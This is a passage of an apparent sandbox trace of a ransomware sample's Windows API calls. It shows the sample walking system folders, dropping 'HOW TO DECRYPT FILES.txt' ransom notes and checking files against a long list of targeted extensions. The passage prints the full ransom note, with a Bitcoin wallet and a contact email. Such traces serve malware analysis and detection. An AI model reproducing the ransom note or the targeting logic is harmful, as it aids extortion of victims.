lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\" [0124.317] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\") returned="" [0124.317] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt" [0124.317] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xaml.hosting\\0e0c19b181a5f5efad4a25b054971c98\\how to decrypt files.txt")) returned 0x20 [0124.317] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\", lpString2="System.Xaml.Hosting.ni.dll.aux" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll.aux") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll.aux" [0124.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xaml.Hosting\\0e0c19b181a5f5efad4a25b054971c98\\System.Xaml.Hosting.ni.dll.aux", pszSpec="*.ems") returned 0 [0124.318] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x4e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Xaml.Hosting.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0124.318] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0124.318] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa49aef70, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa49aef70, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa49aef70, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="0e0c19b181a5f5efad4a25b054971c98", cAlternateFileName="0E0C19~1")) returned 0 [0124.318] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0124.318] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x53248110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x53248110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Xml", cAlternateFileName="")) returned 1 [0124.319] lstrcmpA (lpString1=".", lpString2="System.Xml") returned -1 [0124.319] lstrcmpA (lpString1="..", lpString2="System.Xml") returned -1 [0124.319] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0124.319] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Xml" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml" [0124.319] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml") returned 57 [0124.319] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x53248110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x53248110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0124.342] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.342] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x53248110, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x53248110, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.342] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.342] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.342] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5326e270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5326e270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6a565e7029d22fb974423ade195c819f", cAlternateFileName="6A565E~1")) returned 1 [0124.342] lstrcmpA (lpString1=".", lpString2="6a565e7029d22fb974423ade195c819f") returned -1 [0124.342] lstrcmpA (lpString1="..", lpString2="6a565e7029d22fb974423ade195c819f") returned -1 [0124.342] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\*.*") returned="*.*" [0124.343] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\", lpString2="6a565e7029d22fb974423ade195c819f" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f" [0124.343] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f") returned 90 [0124.343] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5326e270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5326e270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0124.343] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0124.343] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x53248110, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x5326e270, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x5326e270, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0124.343] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0124.343] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0124.343] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x531afb90, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0x531afb90, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0x532943d0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x898400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.Xml.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0124.343] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0124.343] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.Xml.ni.dll") returned -1 [0124.343] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.Xml.ni.dll") returned -1 [0124.343] lstrcmpiA (lpString1="", lpString2="System.Xml.ni.dll") returned -1 [0124.343] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\*.*") returned="*.*" [0124.343] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\" [0124.343] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\") returned="" [0124.343] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt" [0124.344] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\6a565e7029d22fb974423ade195c819f\\how to decrypt files.txt")) returned 0xffffffff [0124.344] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.xml\\6a565e7029d22fb974423ade195c819f\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0124.367] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0124.367] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0124.369] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0124.369] CloseHandle (hObject=0x90) returned 1 [0124.369] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\", lpString2="System.Xml.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll" [0124.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.ems") returned 0 [0124.369] lstrlenA (lpString="*.ems") returned 5 [0124.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.db") returned 0 [0124.369] lstrlenA (lpString="*.db") returned 4 [0124.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.dbf") returned 0 [0124.369] lstrlenA (lpString="*.dbf") returned 5 [0124.369] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.myox") returned 0 [0124.369] lstrlenA (lpString="*.myox") returned 6 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.myo") returned 0 [0124.370] lstrlenA (lpString="*.myo") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qbw") returned 0 [0124.370] lstrlenA (lpString="*.qbw") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qbb") returned 0 [0124.370] lstrlenA (lpString="*.qbb") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qbm") returned 0 [0124.370] lstrlenA (lpString="*.qbm") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qbo") returned 0 [0124.370] lstrlenA (lpString="*.qbo") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qbx") returned 0 [0124.370] lstrlenA (lpString="*.qbx") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qba") returned 0 [0124.370] lstrlenA (lpString="*.qba") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qby") returned 0 [0124.370] lstrlenA (lpString="*.qby") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qbj") returned 0 [0124.370] lstrlenA (lpString="*.qbj") returned 5 [0124.370] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.ofx") returned 0 [0124.371] lstrlenA (lpString="*.ofx") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.qif") returned 0 [0124.371] lstrlenA (lpString="*.qif") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mye") returned 0 [0124.371] lstrlenA (lpString="*.mye") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mbox") returned 0 [0124.371] lstrlenA (lpString="*.mbox") returned 6 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.eml") returned 0 [0124.371] lstrlenA (lpString="*.eml") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.pst") returned 0 [0124.371] lstrlenA (lpString="*.pst") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.ost") returned 0 [0124.371] lstrlenA (lpString="*.ost") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.idx") returned 0 [0124.371] lstrlenA (lpString="*.idx") returned 5 [0124.371] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.dbx") returned 0 [0124.371] lstrlenA (lpString="*.dbx") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.sql") returned 0 [0124.372] lstrlenA (lpString="*.sql") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mdb") returned 0 [0124.372] lstrlenA (lpString="*.mdb") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.fdb") returned 0 [0124.372] lstrlenA (lpString="*.fdb") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.wab") returned 0 [0124.372] lstrlenA (lpString="*.wab") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.dat") returned 0 [0124.372] lstrlenA (lpString="*.dat") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.txt") returned 0 [0124.372] lstrlenA (lpString="*.txt") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.jpeg") returned 0 [0124.372] lstrlenA (lpString="*.jpeg") returned 6 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.jpg") returned 0 [0124.372] lstrlenA (lpString="*.jpg") returned 5 [0124.372] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.png") returned 0 [0124.373] lstrlenA (lpString="*.png") returned 5 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.php") returned 0 [0124.373] lstrlenA (lpString="*.php") returned 5 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.cs") returned 0 [0124.373] lstrlenA (lpString="*.cs") returned 4 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.cpp") returned 0 [0124.373] lstrlenA (lpString="*.cpp") returned 5 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.rar") returned 0 [0124.373] lstrlenA (lpString="*.rar") returned 5 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.zip") returned 0 [0124.373] lstrlenA (lpString="*.zip") returned 5 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.html") returned 0 [0124.373] lstrlenA (lpString="*.html") returned 6 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.htm") returned 0 [0124.373] lstrlenA (lpString="*.htm") returned 5 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.xlsx") returned 0 [0124.373] lstrlenA (lpString="*.xlsx") returned 6 [0124.373] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.xls") returned 0 [0124.374] lstrlenA (lpString="*.xls") returned 5 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mp4") returned 0 [0124.374] lstrlenA (lpString="*.mp4") returned 5 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.ppt") returned 0 [0124.374] lstrlenA (lpString="*.ppt") returned 5 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.pptx") returned 0 [0124.374] lstrlenA (lpString="*.pptx") returned 6 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.doc") returned 0 [0124.374] lstrlenA (lpString="*.doc") returned 5 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.dot") returned 0 [0124.374] lstrlenA (lpString="*.dot") returned 5 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.docx") returned 0 [0124.374] lstrlenA (lpString="*.docx") returned 6 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.7z") returned 0 [0124.374] lstrlenA (lpString="*.7z") returned 4 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.tar") returned 0 [0124.374] lstrlenA (lpString="*.tar") returned 5 [0124.374] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.bz2") returned 0 [0124.374] lstrlenA (lpString="*.bz2") returned 5 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.gz") returned 0 [0124.375] lstrlenA (lpString="*.gz") returned 4 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.mkv") returned 0 [0124.375] lstrlenA (lpString="*.mkv") returned 5 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.eml") returned 0 [0124.375] lstrlenA (lpString="*.eml") returned 5 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.msg") returned 0 [0124.375] lstrlenA (lpString="*.msg") returned 5 [0124.375] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Xml\\6a565e7029d22fb974423ade195c819f\\System.Xml.ni.dll", pszSpec="*.edb") returned 0 [0124.375] lstrlenA (lpString="*.edb") returned 5 [0124.375] PathMatchSpecA 